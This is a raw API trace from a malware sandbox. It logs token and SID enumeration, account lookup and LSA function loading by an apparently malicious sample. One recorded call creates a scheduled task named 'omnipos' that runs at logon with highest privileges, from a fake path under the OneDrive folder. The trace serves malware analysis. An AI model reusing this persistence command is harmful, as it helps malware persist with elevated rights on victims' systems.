0x2aef80 [0140.610] malloc (_Size=0x18) returned 0x2af0c0 [0140.610] free (_Block=0x2af000) [0140.610] free (_Block=0x2aefc0) [0140.610] free (_Block=0x2affd0) [0140.610] free (_Block=0x2af0c0) [0140.610] free (_Block=0x2aef80) [0140.610] free (_Block=0x2aefa0) [0140.610] free (_Block=0x2ae2a0) [0140.611] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0140.611] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0140.611] GetLastError () returned 0x7a [0140.611] malloc (_Size=0x2c) returned 0x2ae2e0 [0140.611] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0140.611] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0140.611] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0140.611] malloc (_Size=0x1c) returned 0x2affd0 [0140.611] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0140.611] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0140.611] malloc (_Size=0x18) returned 0x2aefa0 [0140.611] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0140.611] malloc (_Size=0x18) returned 0x2aef80 [0140.611] malloc (_Size=0x18) returned 0x2af0c0 [0140.611] SysStringLen (param_1="S-1-") returned 0x4 [0140.611] SysStringLen (param_1="5") returned 0x1 [0140.611] memcpy (in: _Dst=0x1395c8, _Src=0x161a38, _Size=0xa | out: _Dst=0x1395c8) returned 0x1395c8 [0140.611] memcpy (in: _Dst=0x1395d0, _Src=0x161828, _Size=0x4 | out: _Dst=0x1395d0) returned 0x1395d0 [0140.611] free (_Block=0x2aefa0) [0140.611] free (_Block=0x2aef80) [0140.611] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0140.611] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0140.611] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0140.611] malloc (_Size=0x18) returned 0x2aef80 [0140.612] malloc (_Size=0x18) returned 0x2aefa0 [0140.612] SysStringLen (param_1="S-1-5") returned 0x5 [0140.612] SysStringLen (param_1="-") returned 0x1 [0140.612] memcpy (in: _Dst=0x161828, _Src=0x1395c8, _Size=0xc | out: _Dst=0x161828) returned 0x161828 [0140.612] memcpy (in: _Dst=0x161832, _Src=0x161a38, _Size=0x4 | out: _Dst=0x161832) returned 0x161832 [0140.612] free (_Block=0x2af0c0) [0140.612] free (_Block=0x2aef80) [0140.612] malloc (_Size=0x18) returned 0x2aef80 [0140.612] malloc (_Size=0x18) returned 0x2af0c0 [0140.612] SysStringLen (param_1="S-1-5-") returned 0x6 [0140.612] SysStringLen (param_1="21") returned 0x2 [0140.612] memcpy (in: _Dst=0x161a38, _Src=0x161828, _Size=0xe | out: _Dst=0x161a38) returned 0x161a38 [0140.612] memcpy (in: _Dst=0x161a44, _Src=0x1395c8, _Size=0x6 | out: _Dst=0x161a44) returned 0x161a44 [0140.612] free (_Block=0x2aefa0) [0140.612] free (_Block=0x2aef80) [0140.612] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0140.612] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0140.612] malloc (_Size=0x18) returned 0x2aef80 [0140.612] malloc (_Size=0x18) returned 0x2aefa0 [0140.612] SysStringLen (param_1="S-1-5-21") returned 0x8 [0140.612] SysStringLen (param_1="-") returned 0x1 [0140.612] memcpy (in: _Dst=0x1395c8, _Src=0x161a38, _Size=0x12 | out: _Dst=0x1395c8) returned 0x1395c8 [0140.612] memcpy (in: _Dst=0x1395d8, _Src=0x161828, _Size=0x4 | out: _Dst=0x1395d8) returned 0x1395d8 [0140.612] free (_Block=0x2af0c0) [0140.612] free (_Block=0x2aef80) [0140.612] malloc (_Size=0x18) returned 0x2aef80 [0140.613] malloc (_Size=0x18) returned 0x2af0c0 [0140.613] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0140.613] SysStringLen (param_1="4219442223") returned 0xa [0140.613] memcpy (in: _Dst=0x1176d8, _Src=0x1395c8, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0140.613] memcpy (in: _Dst=0x1176ea, _Src=0x161a38, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0140.613] free (_Block=0x2aefa0) [0140.613] free (_Block=0x2aef80) [0140.613] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0140.613] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0140.613] malloc (_Size=0x18) returned 0x2aef80 [0140.613] malloc (_Size=0x18) returned 0x2aefa0 [0140.613] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0140.613] SysStringLen (param_1="-") returned 0x1 [0140.613] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0140.613] memcpy (in: _Dst=0x117a1e, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0140.613] free (_Block=0x2af0c0) [0140.613] free (_Block=0x2aef80) [0140.613] malloc (_Size=0x18) returned 0x2aef80 [0140.613] malloc (_Size=0x18) returned 0x2af0c0 [0140.613] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0140.613] SysStringLen (param_1="4223814209") returned 0xa [0140.613] memcpy (in: _Dst=0x12dc48, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0140.613] memcpy (in: _Dst=0x12dc70, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0140.613] free (_Block=0x2aefa0) [0140.613] free (_Block=0x2aef80) [0140.613] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0140.614] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0140.614] malloc (_Size=0x18) returned 0x2aef80 [0140.614] malloc (_Size=0x18) returned 0x2aefa0 [0140.614] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0140.614] SysStringLen (param_1="-") returned 0x1 [0140.614] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0140.614] memcpy (in: _Dst=0x12d954, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0140.614] free (_Block=0x2af0c0) [0140.614] free (_Block=0x2aef80) [0140.614] malloc (_Size=0x18) returned 0x2aef80 [0140.614] malloc (_Size=0x18) returned 0x2af0c0 [0140.614] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0140.614] SysStringLen (param_1="3835049652") returned 0xa [0140.614] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0140.614] memcpy (in: _Dst=0x12dc86, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0140.614] free (_Block=0x2aefa0) [0140.614] free (_Block=0x2aef80) [0140.614] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0140.614] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0140.614] malloc (_Size=0x18) returned 0x2aef80 [0140.614] malloc (_Size=0x18) returned 0x2aefa0 [0140.614] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0140.614] SysStringLen (param_1="-") returned 0x1 [0140.614] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0140.614] memcpy (in: _Dst=0x12d96a, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0140.614] free (_Block=0x2af0c0) [0140.614] free (_Block=0x2aef80) [0140.615] malloc (_Size=0x18) returned 0x2aef80 [0140.615] malloc (_Size=0x18) returned 0x2af0c0 [0140.615] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0140.615] SysStringLen (param_1="1000") returned 0x4 [0140.615] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0140.615] memcpy (in: _Dst=0x12dc9c, _Src=0x1395c8, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0140.615] free (_Block=0x2aefa0) [0140.615] free (_Block=0x2aef80) [0140.615] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0140.615] malloc (_Size=0x5e) returned 0x2b08a0 [0140.615] free (_Block=0x2af0c0) [0140.615] malloc (_Size=0x18) returned 0x2af0c0 [0140.615] free (_Block=0x2b08a0) [0140.615] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0140.617] GetLastError () returned 0x7a [0140.617] malloc (_Size=0x14) returned 0x2aef80 [0140.617] malloc (_Size=0x16) returned 0x2aefa0 [0140.617] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aef80, cchName=0xe7ca94, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0140.617] malloc (_Size=0x18) returned 0x2aefc0 [0140.617] malloc (_Size=0x18) returned 0x2af000 [0140.617] free (_Block=0x2aef80) [0140.617] free (_Block=0x2aefa0) [0140.618] free (_Block=0x2affd0) [0140.618] free (_Block=0x2af000) [0140.618] free (_Block=0x2aefc0) [0140.618] free (_Block=0x2af0c0) [0140.618] free (_Block=0x2ae2e0) [0140.618] malloc (_Size=0x48) returned 0x2ad3b0 [0140.618] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0140.625] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0140.625] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0140.625] malloc (_Size=0x18) returned 0x2af0c0 [0140.625] CreateEnvironmentBlock () returned 0x1 [0140.653] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0140.654] malloc (_Size=0x18) returned 0x2aefc0 [0140.654] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x174df0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xfb8, dwThreadId=0xfbc)) returned 1 [0140.658] CloseHandle (hObject=0x2f8) returned 1 [0140.658] CloseHandle (hObject=0x248) returned 1 [0140.658] free (_Block=0x2aefc0) [0140.658] DestroyEnvironmentBlock () returned 0x1 [0140.658] malloc (_Size=0x48) returned 0x2ad270 [0140.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x22593d80, dwHighDateTime=0x1d8a92a)) [0140.658] SetEvent (hEvent=0x1f0) returned 1 [0140.659] CloseHandle (hObject=0x238) returned 1 [0140.659] CloseHandle (hObject=0x234) returned 1 [0140.756] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0140.756] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0140.756] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0141.111] SetLastError (dwErrCode=0x0) [0141.111] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0141.111] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0141.111] SetLastError (dwErrCode=0x0) [0141.111] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0141.111] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0141.111] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0141.111] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0141.111] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0141.112] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0141.113] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0141.114] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0141.114] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0141.114] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0141.114] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0141.114] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0141.114] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0141.116] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0141.117] GetCurrentThread () returned 0xfffffffffffffffe [0141.117] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0141.117] malloc (_Size=0xd8) returned 0x2b35c0 [0141.117] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0141.117] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0141.117] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0141.117] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0141.118] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0141.119] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0141.120] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0141.120] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0141.120] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0141.120] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0141.120] malloc (_Size=0x18) returned 0x2af0e0 [0141.120] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x238) returned 1 [0141.120] malloc (_Size=0x48) returned 0x2ad220 [0141.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x229e4560, dwHighDateTime=0x1d8a92a)) [0141.121] SetEvent (hEvent=0x1f0) returned 1 [0141.125] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0141.125] GetLastError () returned 0x7a [0141.125] malloc (_Size=0x2c) returned 0x2ae2a0 [0141.125] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0141.125] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0141.125] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0141.125] malloc (_Size=0x1c) returned 0x2affa0 [0141.125] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0141.125] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0141.125] malloc (_Size=0x18) returned 0x2af0c0 [0141.125] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0141.125] malloc (_Size=0x18) returned 0x2aefc0 [0141.125] malloc (_Size=0x18) returned 0x2af000 [0141.125] SysStringLen (param_1="S-1-") returned 0x4 [0141.125] SysStringLen (param_1="5") returned 0x1 [0141.125] memcpy (in: _Dst=0x161798, _Src=0x1618e8, _Size=0xa | out: _Dst=0x161798) returned 0x161798 [0141.125] memcpy (in: _Dst=0x1617a0, _Src=0x161948, _Size=0x4 | out: _Dst=0x1617a0) returned 0x1617a0 [0141.126] free (_Block=0x2af0c0) [0141.126] free (_Block=0x2aefc0) [0141.126] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0141.126] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0141.126] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0141.126] malloc (_Size=0x18) returned 0x2aefc0 [0141.126] malloc (_Size=0x18) returned 0x2af0c0 [0141.126] SysStringLen (param_1="S-1-5") returned 0x5 [0141.126] SysStringLen (param_1="-") returned 0x1 [0141.126] memcpy (in: _Dst=0x161948, _Src=0x161798, _Size=0xc | out: _Dst=0x161948) returned 0x161948 [0141.126] memcpy (in: _Dst=0x161952, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x161952) returned 0x161952 [0141.126] free (_Block=0x2af000) [0141.126] free (_Block=0x2aefc0) [0141.126] malloc (_Size=0x18) returned 0x2aefc0 [0141.126] malloc (_Size=0x18) returned 0x2af000 [0141.126] SysStringLen (param_1="S-1-5-") returned 0x6 [0141.126] SysStringLen (param_1="21") returned 0x2 [0141.126] memcpy (in: _Dst=0x1618e8, _Src=0x161948, _Size=0xe | out: _Dst=0x1618e8) returned 0x1618e8 [0141.126] memcpy (in: _Dst=0x1618f4, _Src=0x161798, _Size=0x6 | out: _Dst=0x1618f4) returned 0x1618f4 [0141.126] free (_Block=0x2af0c0) [0141.126] free (_Block=0x2aefc0) [0141.126] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0141.126] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0141.126] malloc (_Size=0x18) returned 0x2aefc0 [0141.127] malloc (_Size=0x18) returned 0x2af0c0 [0141.127] SysStringLen (param_1="S-1-5-21") returned 0x8 [0141.127] SysStringLen (param_1="-") returned 0x1 [0141.127] memcpy (in: _Dst=0x161798, _Src=0x1618e8, _Size=0x12 | out: _Dst=0x161798) returned 0x161798 [0141.127] memcpy (in: _Dst=0x1617a8, _Src=0x161948, _Size=0x4 | out: _Dst=0x1617a8) returned 0x1617a8 [0141.127] free (_Block=0x2af000) [0141.127] free (_Block=0x2aefc0) [0141.127] malloc (_Size=0x18) returned 0x2aefc0 [0141.127] malloc (_Size=0x18) returned 0x2af000 [0141.127] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0141.127] SysStringLen (param_1="4219442223") returned 0xa [0141.127] memcpy (in: _Dst=0x118218, _Src=0x161798, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0141.127] memcpy (in: _Dst=0x11822a, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0141.127] free (_Block=0x2af0c0) [0141.127] free (_Block=0x2aefc0) 